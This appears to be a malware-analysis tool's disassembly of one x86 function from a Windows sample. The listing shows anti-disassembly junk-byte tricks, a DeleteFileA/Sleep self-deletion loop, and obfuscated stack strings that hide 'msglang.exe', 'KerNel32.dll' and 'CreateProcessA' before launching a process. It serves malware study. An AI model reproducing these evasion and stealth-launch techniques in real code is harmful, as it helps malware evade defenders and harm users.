Function at 0x406cf3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop eax
pop eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
cmp eax, eax
je 0x406a5b
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x406a63
in al, 0x1d
je 0x406a6b
add byte [edi], bl
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx + 0xf00fc7d], al
test dword [eax], ebp
add dword [eax], eax
add byte [ebx - 0x41f0f7bb], cl
or byte [ebp + 0x1a840fc9], al
add dword [eax], eax
add byte [ebx - 0x41f0f7ab], cl
add al, byte [ebx - 0x7af0dd08]
lds eax, [eax]
add byte [eax], al
jne 0xd9fb97
cmp dword [ebp - 4], 0
jne 0x406ba3
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x406ba3
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x22
jne 0x406b5d
cmp dword [ebp - 8], 0
jne 0x406abe
jmp 0x406aa6
push eax
call 0x406ab0
je 0x406b14
jns 0x406a68
pop eax
pop eax
mov dword [ebp - 8], 1
jmp 0x406b5d
mov ecx, dword [ebp + 8]
add ecx, 1
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
test eax, eax
je 0x406afd
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x20
je 0x406af2
jmp 0x406afd
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
jmp 0x406ac7
jmp 0x406b05
push eax
call 0x406b0f
je 0x406b73
jns 0x406ac7
pop eax
pop eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
test edx, edx
je 0x406b24
mov dword [ebp - 4], 1
jmp 0x406b58
mov dword [ebp - 4], 1
mov dword [ebp + 8], 0
cmp eax, eax
je 0x406b42
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x406b4a
in al, 0x1d
je 0x406b52
add byte [eax], al
add byte [edi], bl
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add cl, ch
adc al, 0xff
invalid
jne 0xd9fc7e
jmp 0x406a71
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
xor ecx, ecx
cmp dword [ebp - 8], 0
sete cl
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
xor edx, edx
cmp eax, 0x20
sete dl
and ecx, edx
test ecx, ecx
je 0x406b9e
mov esi, 0x83d23302
clc
and byte [edi], cl
xchg esp, eax
ret 0xca23
jmp 0x406b8b
push eax
call 0x406b95
je 0x406bf9
jns 0x406b4d
pop eax
pop eax
mov dword [ebp - 4], 1
jmp 0x406a71
cmp dword [ebp - 4], 0
jne 0x406bd6
cmp eax, eax
je 0x406bb9
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x406bc1
in al, 0x1d
je 0x406bc9
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bh, al
inc ebp
or byte [eax], al
add byte [eax], al
add byte [ebx + 0x5e5f0845], cl
jne 0xd9fcf5
mov dword [ebp + 8], 0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x406c36
add byte [ecx + 0x7d83fc45], cl
cld
add byte [ebp + 0x33], dh
cmp eax, eax
je 0x406c13
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x406c1b
in al, 0x1d
je 0x406c23
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [eax - 0xc], ch
add dword [eax], eax
add bh, bh
adc eax, sym.imp.KERNEL32.dll_Sleep
jne 0xd9fd4f
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406bf0
jmp 0x406c3e
push eax
call 0x406c48
je 0x406cac
jns 0x406c00
pop eax
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
add byte [ebx], bh
ror byte [edi], 0x84
or byte [eax], al
add byte [eax], al
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ecx + 0x11], bh
xor eax, eax
lea edi, [ebp - 0x26c]
ror byte [ebp - 0x26b43], 0xff
rep stosd dword es:[edi], eax
jmp 0x406cbd
push eax
call 0x406cc7
je 0x406d2b
jns 0x406c7f
pop eax
pop eax
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x26c], 0x44
jmp 0x406ce9
push eax
call 0x406cf3
je 0x406d57
jns 0x406cab
pop eax
pop eax
mov byte [ebp - 0x2b4], 0x63
mov byte [ebp - 0x2b3], 0x3a
mov byte [ebp - 0x2b2], 0x5c
mov byte [ebp - 0x2b1], 0x70
mov byte [ebp - 0x2b0], 0x72
mov byte [ebp - 0x2af], 0x6f
mov byte [ebp - 0x2ae], 0x67
mov byte [ebp - 0x2ad], 0x72
mov byte [ebp - 0x2ac], 0x61
mov byte [ebp - 0x2ab], 0x6d
mov byte [ebp - 0x2aa], 0x20
mov byte [ebp - 0x2a9], 0x66
mov byte [ebp - 0x2a8], 0x69
mov byte [ebp - 0x2a7], 0x6c
push dword [edx - 0x3a]
test dword [ebp + edi*8 - 1], edx
jmp dword [ecx - 0x3a]
mov byte [ebp - 0x2a6], 0x65
mov byte [ebp - 0x2a5], 0x73
mov byte [ebp - 0x2a4], 0x5c
mov byte [ebp - 0x2a3], 0x6d
mov byte [ebp - 0x2a2], 0x65
mov byte [ebp - 0x2a1], 0x73
mov byte [ebp - 0x2a0], 0x73
mov byte [ebp - 0x29f], 0x65
mov byte [ebp - 0x29e], 0x6e
mov byte [ebp - 0x29d], 0x67
mov byte [ebp - 0x29c], 0x65
mov byte [ebp - 0x29b], 0x72
mov byte [ebp - 0x29a], 0x5c
mov byte [ebp - 0x299], 0x6d
mov byte [ebp - 0x298], 0x73
mov byte [ebp - 0x297], 0x67
mov byte [ebp - 0x296], 0x6c
mov byte [ebp - 0x295], 0x61
mov byte [ebp - 0x294], 0x6e
mov byte [ebp - 0x293], 0x67
mov byte [ebp - 0x292], 0x2e
mov byte [ebp - 0x291], 0x65
mov byte [ebp - 0x290], 0x78
mov byte [ebp - 0x28f], 0x65
mov byte [ebp - 0x28e], 0
lea edx, [ebp - 0x2b4]
push edx
push 0x40165c
lea eax, [ebp - 0x114]
push eax
call dword [fcn.004010ac]
add esp, 0xc
push 0x40167c
lea ecx, [ebp - 0x114]
push ecx
push 0x401674
lea edx, [ebp - 0x114]
push edx
call dword [fcn.004010ac]
add esp, 0x10
jmp 0x406e4b
push eax
call 0x406e55
je 0x406eb9
jns 0x406e0d
pop eax
pop eax
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0x401674
lea edx, [ebp - 0x114]
push edx
call dword [fcn.004010ac]
add esp, 0x10
cmp eax, eax
je 0x406e8a
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x406e92
in al, 0x1d
je 0x406e9a
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
test esp, ebx
invalid
jne 0xd9ffc6
mov byte [ebp - 0x124], 0x4b
mov byte [ebp - 0x123], 0x65
mov byte [ebp - 0x122], 0x72
mov byte [ebp - 0x121], 0x4e
mov byte [ebp - 0x120], 0x65
mov byte [ebp - 0x11f], 0x6c
mov byte [ebp - 0x11e], 0x33
mov byte [ebp - 0x11d], 0x32
mov byte [ebp - 0x11c], 0x2e
mov byte [ebp - 0x11b], 0x64
mov byte [ebp - 0x11a], 0x6c
mov byte [ebp - 0x119], 0x6c
mov byte [ebp - 0x118], 0
xor eax, eax
mov word [ebp - 0x117], ax
mov byte [ebp - 0x115], al
mov byte [ebp - 0x28c], 0x43
mov byte [ebp - 0x28b], 0x72
mov byte [ebp - 0x28a], 0x65
mov byte [ebp - 0x289], 0x61
mov byte [ebp - 0x288], 0x74
mov byte [ebp - 0x287], 0x65
mov byte [ebp - 0x286], 0x50
mov byte [ebp - 0x285], 0x72
mov byte [ebp - 0x284], 0x6f
mov byte [ebp - 0x283], 0x63
mov byte [ebp - 0x282], 0x65
mov byte [ebp - 0x281], 0x73
mov byte [ebp - 0x280], 0x73
mov byte [ebp - 0x27f], 0x41
mov byte [ebp - 0x27e], 0
xor ecx, ecx
mov dword [ebp - 0x27d], ecx
mov dword [ebp - 0x279], ecx
mov dword [ebp - 0x275], ecx
mov dword [ebp - 0x271], ecx
mov byte [ebp - 0x26d], cl
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x26c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x28c]
push edx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call main
call eax
jmp 0x406fd7
invalid
xchg esp, eax
std
invalid
push eax
call 0x406fe1
je 0x407045
jns 0x406f99
pop eax
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
invalid